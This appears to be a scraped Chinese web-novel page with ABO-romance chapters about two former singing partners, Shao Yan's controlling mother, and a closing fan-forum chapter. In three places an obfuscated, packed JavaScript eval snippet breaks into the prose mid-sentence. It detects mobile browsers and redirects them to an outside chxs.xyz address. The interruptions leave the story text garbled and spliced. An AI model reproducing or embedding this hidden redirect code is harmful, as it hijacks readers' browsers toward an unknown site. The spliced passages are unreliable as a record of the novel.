“邵阎,”刑少奇又叫了一声,“你其实根本不在乎我怎么想。你所谓的‘真心’,便是不考虑我的感受,把我当作一件道具随意安排使用吗?” 邵阎张开口,半晌都没有说话。 他其实能有很多答案,顺着刑少奇给出的回答,或是找一个更能彰显自己深情的借口。 但是。 所有回答,其实归根究底,都是一个原因——他觉得告诉刑少奇没有必要。 而且。 他其实并不在乎,刑少奇有没有受到委屈。 在他的计划里,秦然也好,刑少奇也好,都只是计划的一部分。他们明明是邵阎在争夺家产时被波及的牺牲品,但因为有着‘争抢邵阎’这个理由,邵阎便不需要对他们产生亏欠。 反而还能说一句:“他们是心甘情愿。” 嘴上说着,是为了保护刑少奇的安危,所以才要利用和秦然的绯闻,装出自己的真爱是秦然而转移家中兄长的针对。 可是,倘若他一开始就不去接近刑少奇,早和秦然断开关系。 那被攻击、被针对、被迫害的,不就只有邵阎一个人了吗? 邵阎真的想不到这一点吗? 他想不到对刑少奇最好、最能保护刑少奇的方式,是一开始便不去接近,不把本该自己承受的迫害分摊到刑少奇身上吗? 刑少奇此时道:“邵阎,和你沟通真的很累——因为你总是把自己的自私、卑鄙,藏在所谓的‘爱’的借口下。” “我后来想,你所谓的喜欢,不过是当时刚入娱乐圈,根基不稳,于是找个挡箭牌用于转移视线——毕竟双人组合,但凡有舆情,都能推我出来挡枪。 “只是……后来发现自己对挡箭牌动了心。于是,又找了一个新的防护工具。” 邵阎那些借口、理由、冠冕堂皇的‘真心话’,其实都不能盖过这个事实——刑少奇和秦然,都或多或少地,因为是“邵阎喜欢的人”,被迁怒、被针对。 刑少奇想,或许邵阎真的有看过他练习,但是一见钟情……钟的是爱情吗? 或许更多的,是找了个看得顺眼的挡箭牌而已。对着工具产生的好感,也算是一种感情。 刑少奇更愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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正当他要把奖杯放回去时,却受到了一丝阻力——往下看了一看,发现是盒子里用于防碰撞的海绵,里面挖空了装奖杯的部分,在角落里,有一小块不起眼的、金属光泽的东西凸出来。 随着奖杯下压,那阻力最终也没起到什么作用,那东西最终被奖杯压住。 至此,第一位嘉宾结束拍摄。 刑少奇抱着盒子回到酒店,拉上窗帘,将奖杯取出。 拆开海绵垫,看到了邵阎真正的礼物—— 纸业泛黄的分析报告,那位高层的账户往来流水,私人做的火灾现场鉴定报告…… 比刑少奇收集得更全面、更多样。 里面甚至包括了他哥和那位高层联络的往来消息。 刑少奇一份份看过去,除却纸质资料,还有个u盘。 打开,一排排资料证据最后,刑少奇发现了前不久由他亲手提供、用于压价邵氏股权的视频。 它就那样沉默地躺在u盘里,变成一个不起眼的图标。 刑少奇这才拿起手机,看到前不久收到的消息—— 邵阎最终同意了压价。对外已经放出拟转让的消息。 奇桓的收购是板上钉钉,但毫无疑问,最终的成交价比刑少奇预想的有利,是因为这份视频。 如果单从转让价的差距来看,换算下来,这视频价值过亿。 但它就这样毫无介绍,没有标识地放着。 甚至邵阎也从未提及。 如果刑少奇不是放出视频的人,不知道真相的话,他可能永远不会明白这个视频具有怎样的价值。 刑少奇揉了揉鼻梁,觉得不明白。 他不能理解邵阎。 邵阎到底是怎么想的,到底想做什么? 望着那条视频,刑少奇起身,拿起电话,准备商量后面的收购事宜。 拨通电话的间隙,他拉开窗帘,望向屋外。他想,他真的搞不懂邵阎。或许这份不懂将伴他一生,不过没关系——他会在坐拥着邵氏所有资产的时候,抽时间想一想邵阎究竟是为什么这么做的。 18.邵阎视角·关于爱(上) “他很漂亮。” 听到这句话的时候,邵阎正在削苹果。手中的刀刃顿了一瞬,本来连续的果皮突然断开,长长的一条落到垃圾桶里。 他抬眸,目光先看到正在为母亲换针水的护士。 视线落到护士身后,是一扇紧闭的窗户。做了防窥处理,只能从室内看到室外的景色。于是从邵阎的角度,可以清楚地看到窗外已经漆黑的天空,院子里栽种的大树被风吹得簌簌作响,树梢在窗上摇曳,落下稀疏的影子。 护士动作很快,换完药水便退了出去。偌大的房间里只剩下邵阎和躺在床上输液的母亲。 砰一声,苹果砸入垃圾桶。 母亲的目光落到邵阎身上,她只说:“有点浪费食物,小阎。” 邵阎放下刀,用消毒湿巾仔细地擦着手,“苹果坏了。” ——其实果盘里的都是当天早上才买的新鲜水果,根本不存在坏果。 只是邵阎已经习惯了用谎言应答。坏了的苹果就扔掉,这个理由比解释为什么要浪费食物更省力气。 “是吗?那阿姨今天有点粗心了。”邵母语气很平静。她是个漂亮的女人,眉目与邵阎相似,只是眉眼之间多出来几分忧愁。 邵阎抽了张新的湿巾擦拭手指。 他不是第一次用这个借口,母亲也不是第一次这么说。其实他们心知肚明,被浪费的苹果和那位负责采买的阿姨没有任何关系。 只是邵阎懒得想别的借口,母亲也不会特地拆穿他在撒谎。 甚至于为了圆谎,可能母亲还会在他临走前把阿姨叫来,找个理由把阿姨辞退。并告诉邵阎,多亏了邵阎,否则妈妈都没办法发现阿姨做事这样粗心。 邵阎知道,母亲在乎的是自己‘削水果’这个过程。至于能不能吃到那颗果子,那果子有没有坏,她并不关心。 她只是喜欢让有洁癖的邵阎‘克服障碍’,为她削一枚果子。 邵阎听话了,她就满意了。 至于那个无辜的阿姨?一个做事的下人,没了工作而已,和他们有什么关系? 按理来说,这个话题本该到此为止。但或许是母亲那句“他很漂亮。”让刑少奇的脸又浮现在邵阎的脑海里,他忽然感觉很疲惫。 脑子里不知为何徘徊着下午刑少奇的那些话。混杂着多年前的回忆,那些隐秘的、不堪的、自私的想法就那样被刑少奇放在明面上讲,几乎把邵阎说得哑口无言。 于是他难得继续道:“而且你也不喜欢苹果。” 母亲有些错愕,眼神闪躲了一下,又笑着说:“怎么会呢?小阎。你给妈妈削的,就是妈妈喜欢的。” 邵阎心中那丝疲惫好像又增加了一点。 他抿了抿唇,手中的湿巾几乎要把手指的皮肤搓下来,“你不喜欢吃苹果,可以直接告诉阿姨不要买。” 他顿了顿,几乎带着恶意,“也不用专门放在床边,让我每次专门给你削,削了也是扔掉。” 母亲的视线忽然就冷了下来,看着邵阎,“小阎,我这是为了你好。你的洁癖一直不好,医生说了,你这是心理问题,要多做些脱敏训练。” 脱敏训练?邵阎望着那把刀想,服从性测试才对吧。 一把不知道有多少人碰过的刀,一颗不知道沾着多少细菌的苹果。每次和母亲见面,它们就像母亲的随身物品般放在床头的桌上。 每当邵阎的目光扫到,母亲便会开口:“小阎,给妈妈削个苹果吧。” 邵阎也曾拒绝,也曾解释自己的病。但母亲总会适时尖叫,她说,“我把你养到这么大,你父亲不愿意见我,就连你也嫌弃我?说什么洁癖,有那么严重吗?就是不想吧!不然为什么别人没有,偏偏你有?” 接着又开始流泪,眼泪好像是她的武器,一滴滴恰到好处地扎在邵阎的身上。 “那我去死吧。妈妈无能啊…被自己的亲儿子嫌弃…可是小阎,妈妈就只有你啊……你都不要妈妈,那我活着有什么意思呢?我就是为了你才活到今天的……” 于是邵阎只好拿起刀。 果汁沿着他的指尖滑下,流经掌心,长长的、红色的果皮顺着刀刃往下落,邵阎晃眼,还以为是自己的血。 等到果皮落下,他总觉得刀削去或许不止是苹果皮,还有他身上的什么。 此时他抬头,便能看到母亲的脸上逐渐露出一种欣慰的、满足的笑意。 她会说,“你看,妈妈说了,什么洁癖?这都是能治好的。” “妈妈怎么会害你呢?” 邵阎便想,让母亲欣慰、满足的,究竟是这颗苹果,还是她在自己身上获得的掌控感。 但无论答案是什么,都无法改变邵阎和母亲的关系。下一次、再下一次,他还是会拿起刀,压住脑袋里翻涌的不适,不去想在这这间病房里有多少人摸过这颗苹果,不去想空气里漂浮的细菌病毒和看不见的飞沫。 正如同邵阎从小到大,每一次面对母亲时做的那样。 ——他只需要撒谎就好。 对于母亲这样的人,说真话只会带来麻烦。她宁愿活在虚假的、一戳即破的谎言里,也不愿听到邵阎真实的忤逆。 于是邵阎对于身边的一切事情,都善于用谎言搪塞。 母亲想看他‘克服洁癖’,那他就削好苹果装作若无其事。 邵阎闭上嘴,已经为自己的失言感到麻烦。他嘴边那些用于搪塞的借口简直呼之欲出,但心中的疲倦感愈来愈重,他忽然不想和母亲继续演戏,于是沉默下来。 可他的沉默放在母亲眼里好像变成了一种投降的表现。 这次微不足道的反抗又以邵母的胜利告终。这位母亲满意了,神态又恢复如常。 邵母道,“你对着妈妈发什么脾气?小阎。要知道,除了妈妈,可没有人会包容你的坏脾气。” 她顿了顿,“难道是那个beta让你不高兴了?妈妈早就说过,beta没有omega好。你看秦然,那么优秀、可爱,还那么喜欢你,你为什么不愿意给他一个机会呢?” 邵母忽然想到了什么,冷哼了一声:“我不是嫌弃beta,可是beta哪有omega好?你看你爸……呵,要不是孩子里只有你一个alpha,你以为自己争得过别人?你要是和beta结婚,那你们的孩子大概率也是个beta,你到时候要怎么办?” 邵阎看着她,“我和他不可能了。” 邵母脸上闪过一丝窃喜,很快又转成担忧。 她说:“怎么会这样呢?小阎,这么多年,你对他的喜欢,妈妈都看在眼里……你要是真的动心,那和他结婚也没关系的,找个别的omega生子就好。” 她装模做样地叹息,“唉,我也不是不喜欢他。他长得挺好看的,看起来很乖。不过有点太不听话了,要是当年好好听你安排,那不早就和你结婚了吗?——对于他那样的beta,这可是非常了不起的事。” 邵阎沉默良久,他好像透过母亲看到了很多年前的自己,傲慢、无礼,把他人的命运肆意玩弄,却觉得自己高尚。 他开口道:“你也这么觉得?——像他那样的beta可以和我结婚,是一件好事。” 他有些苦涩地想,可刑少奇绝不会这么认为。 母亲毫不犹豫地点头:“当然了。” 她看向邵阎,“能和你结婚,成为邵家的一份子,对于普通人,不是莫大的机遇吗?——可惜了,他不懂得珍惜,错过了。” 邵阎感觉心中的疲惫重重地压下来。 “可你也是个普通人。你一直说是为了爱情才嫁给父亲——你也觉得,这是一份机遇吗?” 母亲眨眨眼看向邵阎,半晌,她的语气尖锐起来:“你是什么意思?” “你在怀疑我?你和那些人一样怀疑我嫁给你父亲的动机??你怎么能这样??邵阎——” 她伸出手,握住儿子的肩膀,邵阎眉头微不可察地皱了一下。 “你是最清楚妈妈有多爱他的人啊!你怎么可以怀疑妈妈?妈妈和那些人怎么可能一样呢!” 肩膀上被母亲握住的地方好像有蚂蚁在爬。邵阎只觉得一阵阵恶心。 有什么不一样吗? 他看着面前的母亲,忽然发觉刑少奇说的一点没错—— “邵阎,和你沟通真的很累——因为你总是把自己的自私、卑鄙,藏在所谓的‘爱’的借口下。” 邵阎疲惫地想,原来自己的行为,也是从母亲身上学来。 他那么讨厌的东西,那么希望自己不会继承的特质,其实全部都模仿着母亲,一桩桩,一件件,尽数复刻。 “妈,和你沟通真的很累——因为你总是把自己的自私、卑鄙,藏在所谓的‘爱’的借口下。” 邵阎感觉自己心中的恶意开始顺着话语往外不断流淌,多年的压抑和恨在此刻融入他的声音:“你明明就是为了邵家的权势,才勾引了父亲——本以为自己是个和父亲高匹配度的omega,又怀了孕,就能和父亲结婚。” “——结果还有人比你的匹配度更高。于是这么多年,你不得不成为父亲的情.人。等孩子生下来,又开始塑造自己是个为了爱情不顾一切的人,强迫你的孩子仇视他人,逼着他争权夺势。” 邵阎的母亲脸上一片空白。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825649|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她没想过会从儿子口中听到这样锋利的话,一时间几乎忘了反驳。 转了下眼睛,她猛地痛哭起来:“你一定是听了别人的挑唆了……小阎,你怎么能这么想妈妈呢!” 邵阎望着她,忽然想刑少奇看着自己演戏的时候,是不是也会觉得很疲惫、很无语? 明明真相已经全部揭开,可偏偏对方就是不愿意承认,就是不愿意接过属于自己的责任。 “我是真的爱你爸爸的……小阎。”——如果真的爱,那为什么当初要下.药?为什么总是在孩子面前指责父亲的花心,指责他的不负责?最重要的是,如果真的那么爱,为什么这么多年,她还不知道父亲并不是因为alpha性别才选择邵阎继承家产。 邵阎那么多年的努力、那么多年的谋划,在她口中,就是一句“多亏妈妈把你生成了alpha,所以你才能被父亲选中。” “小阎,妈妈不是逼你。但是你忘了小时候你爸那些情人是怎么对你的吗?你忘了他们是怎么对我的吗?” 邵母道:“你必须要做到最好,必须要赢过他们!你要证明你是最优秀的,这样才没有辜负妈妈啊。” 心头的疲惫感扩张到了极点,邵阎终于忍无可忍,挣脱了母亲。 “不用证明了。”他看向母亲。“邵氏已经不存在了。” 这句话似乎超出了邵母的认知,她愣了一下,紧紧抓住邵阎的手,“你说什么?!你再说一次!!你这个败家子,你把公司怎么了!!你这样怎么对得起你爸,对得起我!!” 这个女人的情绪突然崩溃了,她先前的淡定和恬淡好似一张被剥去的面具,露出下面血淋淋的欲望。 “那我怎么办,不、你、你怎么办……小阎,这么大的事,你和我说啊,不、你和爸爸说啊……什么叫邵氏不存在了?” “你是不是遇到困难了?故意吓妈妈?妈妈不懂这些,你不要说的这么严重……生意嘛,肯定不会那么顺利,但也不可能……” 邵阎看着她的脸,恍惚间想起自己年少时曾受不了母亲过度的控制欲。那时她总逼着邵阎去讨好父亲,说多给父亲端茶倒水,他就会注意到邵阎这个不起眼的孩子——其实那根本没有作用,只是邵母不懂得其他可以讨好邵父的方式。 邵阎不愿意,她便垂泪、指责,久而久之,邵阎开始用谎言搪塞。 直到她发现自己亲手泡的茶被邵阎倒掉。 那是他们吵得最厉害的一次。邵阎已经对母亲总是挂在嘴边的‘要妈妈去死吗?’感到了厌烦,他深呼吸,平静地,学着母亲的口吻说,“那你是要我去死吗?” 他以为这样就能得到母亲的愧疚、反思,他以为这是对母亲的报复——甚至在他的想象中,母亲会因此害怕、恐惧,最后妥协退步。 毕竟每次邵阎听到母亲这么说时,都会选择妥协。 因为他真的害怕失去母亲,这个世界上唯一爱他的人。 但母亲是怎么回答他的? ——邵阎忽然想起来,好像那时候的妈妈,还没有现在听到“邵氏不存在了”这样崩溃、悲伤、难以置信。 邵阎清楚地记得,那时候母亲流着泪,半点后悔与心虚都没有,她只是恶狠狠盯着邵阎,脸上表情狰狞而可怖,她叫着: “那你就去死啊!!你这个不孝子!!” 于是邵阎在这个世界上唯一得到的爱,就是这样一份会回应他“那就去死”的爱。 那时候邵阎终于意识到,人们不过是嘴上说着爱来爱去,而实际上,爱不过是遮掩欲望的遮羞布。 他也终于明白。 人们只会因为爱而后悔,不会因为后悔而爱。 他害怕失去母亲,才会一次次妥协。而母亲毫无畏惧。 他的死亡威胁不了母亲。 那时候邵阎想,他绝对不要变成和母亲一样的人——拿着爱作为借口,威胁绑架别人。 后来邵阎逃出了那个家,准备靠自己在娱乐圈创出一片天地。 离开的时候,他对着母亲说: 这是另辟蹊径吸引父亲目光的方式,都是为了和妈妈的未来,才要暂时蛰伏。 于是母亲露出了非常惊喜的神色,她迫不及待地想要让邵阎加入名利的斗兽场。 而邵阎终于有了喘息的空间。 遇到刑少奇的那个晚上,邵阎站在原地看了很久。他想,居然真的有人会为了某个目标这样努力—— 原来真的有人存在着这样炽热的、对某件事存粹的真心。 刑少奇对于舞台的渴望与热爱,比邵阎听出茧子的、伟大的母爱,还要真实而灼热。 19.邵阎视角·关于爱(下) 那时候邵阎想,他要让刑少奇做自己的搭档。 虽然选择以双人组合的身份出道,是为了让另一个人负责吸引火力、引开舆论。但邵阎并不是来者不拒。 秦然那样能力不够的,看得出邵阎不曾宣之于口的拒绝,于是自己提出想去别的组合。 邵阎很满意他的识趣。这是他们、乃至邵阎接触的所有人的,秘而不宣的默契。 他和秦然都知道,是邵阎觉得秦然能力不足,不想要和他搭档。但是对外,秦然只会说是自己想去别的组合。 谎言是一张网,他们都藏在这张网里生存。这里熟悉、安全,谎言构成了他们活下去的安全所。 邵阎第一次看到居然有人会在毫无观众、毫无掌声的地方悄然练习。他第一次感觉到或许这个世界上有人和自己不一样—— 他想知道,刑少奇是不是不需要谎言也能活着,是不是离开了那张令人深感窒息的网,有人在外面自由而畅快地呼吸。 选择刑少奇做队友的理由就是这么简单,但邵阎每次被问及,给出的答案却都不一样。 ——刑少奇很努力、很有天赋、配得上做我的队友。 ——我对刑少奇一见钟情,我喜欢他,所以给他一个机会。 这样的借口与谎言说的多了,就连邵阎自己也信了。又或者说他在经年的谎言包裹里,已经成为了一个彻头彻尾的骗子,他不仅骗母亲,骗朋友,更骗自己。 直到刑少奇亲口拆穿他的谎言,直视着邵阎的眼睛。邵阎在那样的目光里忍不住退缩,忍不住逃避,他不得不直面自己内心的真实想法: 他太想知道刑少奇是怎么活的。 他想知道这个世界为什么有人可以这样坦然地面对自己的欲望。 因为刑少奇总是直截了当地说“我想出道”,“我想有钱”,“我想成为最厉害的人”。 刑少奇为什么不撒谎?——他应该和自己一样虚伪,用谦虚和低调的皮蒙住自己真正想要的东西,用谎言与假意遮掩自己真正的欲望。 邵阎接触到的人都是这样的。 母亲要用爱来粉饰自己对地位的渴望,秦然要用青梅竹马的情谊遮掩利用邵阎帮扶家人的事实,就连邵阎的手足、朋友,无一例外,都披着蒙面的皮,用礼义廉耻,仁义道德把自己包装成一个好人。 但刑少奇好像学不会遮掩自己的野心,他对待自己想要的东西,只是直白而热切。 那份直白有些超乎邵阎的想象,他不能理解为什么有人可以这样简单地说出自己的真心。他不担心自己会失败吗?不怕被嘲笑吗?不怕被人讥讽、针对、唾骂、甚至阻挠吗? 邵阎完全不能理解。 刚开始,他甚至有些恶意地揣测,或许刑少奇只是个很会伪装的人,他比邵阎见过的那些人更虚伪、更能利用谎言,所以他装得这样好,好像他就是心无旁骛,一心只想追逐梦想。 所以邵阎总是挑刑少奇的刺,总是想要激怒刑少奇。因为他深知人在情绪裹挟时,才会暴露出自己最真实的欲望——就像他把母亲逼到退无可退,才清楚地意识到母亲根本不在乎自己。 他成功过几次。也看到过刑少奇脸上的不满与愤怒。终于,刑少奇难以忍受,再一次争吵后离开了练习室。 邵阎独坐在地上,心里有种微妙的不甘,又有种意料之内的安心感。 看吧,这世界上没有不撒谎的人。说什么喜欢舞台,什么热爱,其实面对挑剔的队友、莫名的针对,都会想要放弃。 刑少奇所谓的热爱,也不过如此。所以他才能那样坦然,那样直白,这根本不是他真正想要的东西。 所以我是正常的。邵阎想,他的心忽然轻松下来,好像揭穿了刑少奇的假面,他的世界观又得以保全,又得以恢复正常。他那些谎言和虚情假意又有了充足的理由出场,替他粉饰所有真心。 然而第二天,刑少奇改好了稿。 “这次总可以了吧?” 眼底还有乌青的刑少奇说。 他是真的有点烦邵阎的挑刺,不满和愤怒几乎一览无余。但比起这个莫名其妙的队友,他更在乎这次得之不易的机会。 邵阎的心忽然开始皱缩,好像有东西猛地攥住了他的心脏。他很想要逃避,很想要离开,但是手却忍不住接过刑少奇递过来的纸,目光忍不住往上面落。 “……不行。”邵阎道。 看着刑少奇几乎怒极反笑的表情,他感觉自己的呼吸不断困难。 不可能有这种人。邵阎想,他要抓出刑少奇的小辫子,找到刑少奇藏在所谓热爱下面真正的欲望,他不相信有人和自己认识的不一样—— 直到发现刑少奇身负债务,邵阎在那一瞬间,居然觉得惊喜。 啊,原来是这样。 原来是为了钱,原来刑少奇那份真心下面藏有他物。 原来他们都一样虚伪。 于是在一个夜晚,他向刑少奇伸出手。 邵阎想,人的谎言,往往用于粉饰欲望。欲望一旦被满足了,便不会继续撒谎。 就像母亲如愿提高了身份,便不在邵阎的外祖父母面前卑躬屈膝。就像兄长如愿把母亲和自己赶出家门后,便不再装兄友弟恭的样子。 刑少奇,我给你钱。给你最重要的东西,满足你的欲望。 让我看到你的真心,让我知道我们是一样的人。 那样才能证明我的正常。 他期待着刑少奇拿到这笔钱,还清债务。 到那时,刑少奇的热爱会有磨损吗?是否还能继续那样拼命? 更甚者,会直接放弃出道吗? 邵阎很清楚,他希望刑少奇露出马脚,那样就能够证明他和刑少奇是一样的人。 不管是放弃,还是懈怠,只要刑少奇表露出一丝对热爱的磨损,邵阎都能心安理得地,重新回到被谎言包裹的安全网里。 他没有错,撒谎没有错,掩盖真心没有错。 当然,邵阎也承认。 并不是大街上看到一个乞丐,他就会随意洒出一笔巨款。 刑少奇的表现勾起了他的兴趣,他愿意为这份兴趣买单。 那天晚上,月色很好,邵阎没错过刑少奇错愕的表情。那时候,他别开了眼神,心想:“我只是出于兴趣。” 不出所料,刑少奇收下了那笔钱。 然而他的表现,几乎让邵阎呼吸停滞。 没有了债务压力的刑少奇,更竭尽所能地投入到练习中。 于是邵阎不得不承认—— 这世界上真的有和自己不一样的人。 真的有想做什么,便会说出来的人。 真的有眼睛里只看得见目标和欲望,并因此一往无前的人。 邵阎不能理解,甚至感到不适。世界好像在这一刻突然分崩离析。如果人可以这样坦然地面对自己的欲望,那邵阎赖以生存的谎言机制究竟是为什么存在呢? 如果人不是必须要用借口与理由遮掩自己的欲望,那邵阎唯一得到的、那份会回应他“那就去死”的爱。 ……难道不是每个人都会得到,这样畸形而痛苦的爱吗? 承认刑少奇和自己不一样,就像在承认自己的不幸。承认自己生活在一个必须用谎言筑成保护网,才能安全生活的环境。 邵阎对此感到不甘,感到痛苦,倘如他没有遇到刑少奇,那或许他会永远觉得,旁人和自己无异。 他便不会觉得自己这样可怜。 邵阎对刑少奇的观感变得复杂而微妙,他看刑少奇的眼神里包含了隐秘的嫉妒,又或者说另类的向往。 那份不自觉的恶意像一株藤曼,悄然在他心间发芽生长。 然而,当刑少奇被问到目标,直白地说出自己想要成为第一时,邵阎发觉自己会有种心里话被说出来的畅快。 当面对不喜欢的东西,不愿做的事情,被刑少奇指出并帮忙拒绝的时候,邵阎会感到轻松。 当自己悄无声息做的事被刑少奇发现并感谢的时候,他感觉到心跳加快,莫名的羞耻和隐秘的恼怒一起迸发,邵阎第一反应是遮掩,是逃避,是用自己无比熟悉的谎言隐瞒真心。 邵阎的经历告诉他,被发现真心是件非常糟糕的事情。在往前的好多年,他在这方面吃尽了苦头:假如他没有表露出对母亲的爱,那母亲就不能拿着死亡一次次威胁自己;假如他没有表现出对父爱的渴望,那兄长也不会视自己为眼中钉…… 他生命中许多困难、阻碍,皆由于他袒露出爱与真心。 他甚至想到或许刑少奇会就此得寸进尺,变本加厉,用自己的好意要挟…… 但刑少奇只说,“谢谢。” 他的真心第一次,没有被当作把柄用于要挟,没有作为武器伤害到自身。 只是被一句谢谢包裹起来,好像载着一片云,落到刑少奇绿色的眼睛里。 邵阎的心好像突然颤动一下,拨云见日,他猛地意识到—— 或许那株名为恶意的藤曼攀爬时,名为好感的巨木也在他的心间生长。 二者共生,才令他如此痛苦不堪。 他希望刑少奇和自己一样,那他们便可以如同类般互相依存。又希望刑少奇和自己不同,那说明他或许也有机会踏出那张由谎言构成的巨网。 他渴望一处可以容纳真心的地方。 长久以来被谎言包裹得密不透风的生活,好像逐渐被剪开一道裂缝。 邵阎慢慢发现,原来有什么要求直接说出来,和用无数个谎言、借口、各种理由才能换得的结果是一样的。 他喜欢和刑少奇相处,喜欢看他拿到奖杯时露出欣喜的表情,喜欢在无人的角落和刑少奇说自己很累——那时候他能得到的不是责备或者无视,只是一个无言的拥抱。 邵阎自己都不明白,这算不算一种喜欢。因为他曾经接触过的名为爱的东西那样虚假,他也不懂这份总是想要靠近、想要注视的心情名为何物。 但他希望这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850583|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的日子可以一直持续下去。 直到组合的舆论忽然喧闹,他意识到随着自己的曝光增加,其他虎视眈眈的竞争者便会将矛头对准他。 他忽然忘记了自己一开始的目的,就是让刑少奇吸引大部分舆论炮火。 急切地寻求办法时,他只是想不让刑少奇的那份热爱被迫凋谢。 好在这次负面舆情并不严重,及时压下,没有掀起火花。 只是在邵阎心里,他突然意识到,他需要给刑少奇一个更安稳,更安全的未来。 他想过和刑少奇结婚,但作为家中唯一的alpha,他不可能和一个beta成婚。 他只好另辟蹊径,和秦然合作。此后很长一段时间,用绯闻压下对刑少奇不利的舆论,同时用秦然吸引旁人的注意力。 他又回到了谎言编织的网里。 同时自顾自地决定了刑少奇的未来,并要求刑少奇为此受屈。 直到那场大火来临,将所有事情烧尽。邵阎时隔多年,也终于认清自己的傲慢无礼。 脸上突然一阵刺痛,破风声带着皮肉相触的声音传入邵阎耳际。他的头猛地偏向一侧,几秒后,才感受到自己的脸颊火辣辣地疼。 母亲悲恸不已。明明手高高扬起,却好像被打的是自己一样痛哭流涕,她哭得那样伤心,比邵阎当年想象自己死去后,母亲跪在墓前痛苦的模样还要悲伤百倍。 邵阎忽然感觉些许嘲讽与报复的快感。或许他就不该带着邵氏那些酒囊饭袋苟延残喘,早点把手上的股权卖掉,便能早点看到家里这些人面兽心的家伙一个个摘下面具,痛哭流涕。 母亲嚎啕了半天,眼睛都肿了。忽然看着邵阎,像是抓住了最后的救命稻草:“小阎啊,小阎……” 她的脸上露出邵阎从未见过的、讨好的神情。 她哭得更难过,更伤心了。拉着邵阎的手,又马上松开:“那妈妈怎么办呢……小阎,妈妈只有你了,你不能不管妈妈……” 邵阎一愣。 母亲第一次和他道歉,说,“小阎,妈妈知道之前做的不好,老是逼你做不喜欢的事情……那个beta不是也演戏吗?你让他帮帮忙……小阎,你不能不管妈妈呀!!” 在母亲的眼泪与道歉里,邵阎遍体生寒。 原来母亲知道自己做的不对,原来母亲也会和自己服软…… 在母亲发觉自己赖以生存的邵氏不复存在,只能不得不依附于儿子时。终于,邵阎无数次幻想得到的愧疚,变成了现实。 也就是这一刻,邵阎忽然明白了刑少奇那句不需要后悔和愧疚的含义—— 想要博得原谅,或许也是遮掩某种欲望的借口。 邵阎忽然身体颤了一下,推开母亲,无言地走出房间。 他忽然意识到,忽然发觉—— 自己和母亲别无二致。 他那些谎言、后悔、愧意,也不过是蒙着祈求原谅的皮—— 那他真正想要的是什么呢?他想要的是刑少奇的原谅吗?他到底想要刑少奇给他什么呢? 好像有东西掐住他的喉咙,几乎令邵阎作呕。他扶着墙壁一步步走,想到自己抛下风雨飘摇的公司去参加一档毫无用处的综艺,想到自己拿出那张不需要刑少奇还的卡,想到为了一份视频主动退让的转让费…… 所以他想要什么呢? 邵阎忽然有了答案。 道歉和痛哭,都是博得原谅的手段,但他不要刑少奇的原谅。 他不要刑少奇的感激,不要刑少奇的愧疚,不会告诉他自己究竟做过什么。 凡是说出口的,都是带着目的性的。所以真正不求回报的事情,要永远的埋在心里。 闭上嘴巴,永远不要让它泄露出去。 喉咙的旧伤痒意蔓延,那浅淡的痛痒几乎在这十年都折磨着邵阎,然而直到这一刻他才有所感知—— 原来他不需要刑少奇做什么。 邵阎抬头,手指触到冰凉的墙壁。一缕月光从外面照进来,他感到浑身冰凉,脸上一片湿漉。 他忽然想起很多年前的那个夜晚,刑少奇身上沾着酒渍,他说要分手。 那时候自己的心抖了一下,繁复的思绪找到了唯一的,觉得正确的答案。 “刑少奇,我付过钱了。” 他以为爱是最虚无缥缈的东西,覆盖着虚情假意,所以金钱才是最后能拴住刑少奇的链子。 但其实唯一能拴住刑少奇的,不是金钱。 他真正想从刑少奇身上得到的,也不是偿还或回报。 他想留在刑少奇身边,想用钱帮刑少奇,想自损尊严也要见刑少奇一面。 所以邵阎,你究竟想要什么呢? 月光寂寂,落到雪白的墙面,邵阎一点点弯腰,感觉喉咙的痒意逐渐变得明显,像是沙砾在他的血肉上磨。 磨得鲜血淋漓,血肉模糊。 邵阎想,他终于知道了。 只是这一刻来得太晚了。 20.论坛·前爸妈复婚了我又出生了 1L 楼主 十年了,你们知道我这十年过的有多么苦吗!!! 人活着果然什么都能看到啊,苍天,祖宗,我那逝去的前爸前妈再续前缘了!! 邵刑我就知道你俩谈过,我就知道!!!当年不枉我举着放大镜看你俩的物料和博客,果然啊!!爸爸妈妈我就知道你们是爱过的TT 虽然晃眼一看xsq你这个情史是有点惊人了,八个前任风风雨雨,但最后还是选择了初恋,这不是真爱是什么呢? 前爸前妈我又回来做你俩孩子了。 2L 邵谁?sy? 那家伙不都转去搞房地产继承家业了吗? 3L 没搞成功呗,邵氏进军房地产才几年,市场就彻底凉凉了,资金链断了以后欠了600亿。后边sy接手家族,重心转到娱乐公司,又卖了不少项目才好不容易救回来。 4L 好怀念……这算我嗑的第一对cp了……没想到他俩还能同框啊? 我以为他俩这辈子都要恨死对方了 5L 他俩不是idol吗?怎么谈恋爱粉丝都不怎么在意的? 6L 楼上你是哪个朝代来的……人类第二次性别分化前?隔壁那些选秀综艺,所有人不分性别打混了一起出道。好几个omega来时一个人走时一个半,谈一下太正常了。 而且澄清一下,他俩不是idol,是歌手,俩都是。他们最开始就是歌手组合出道的。 ……甚至我觉得他俩一开始就是冲着麦cp的。 7L 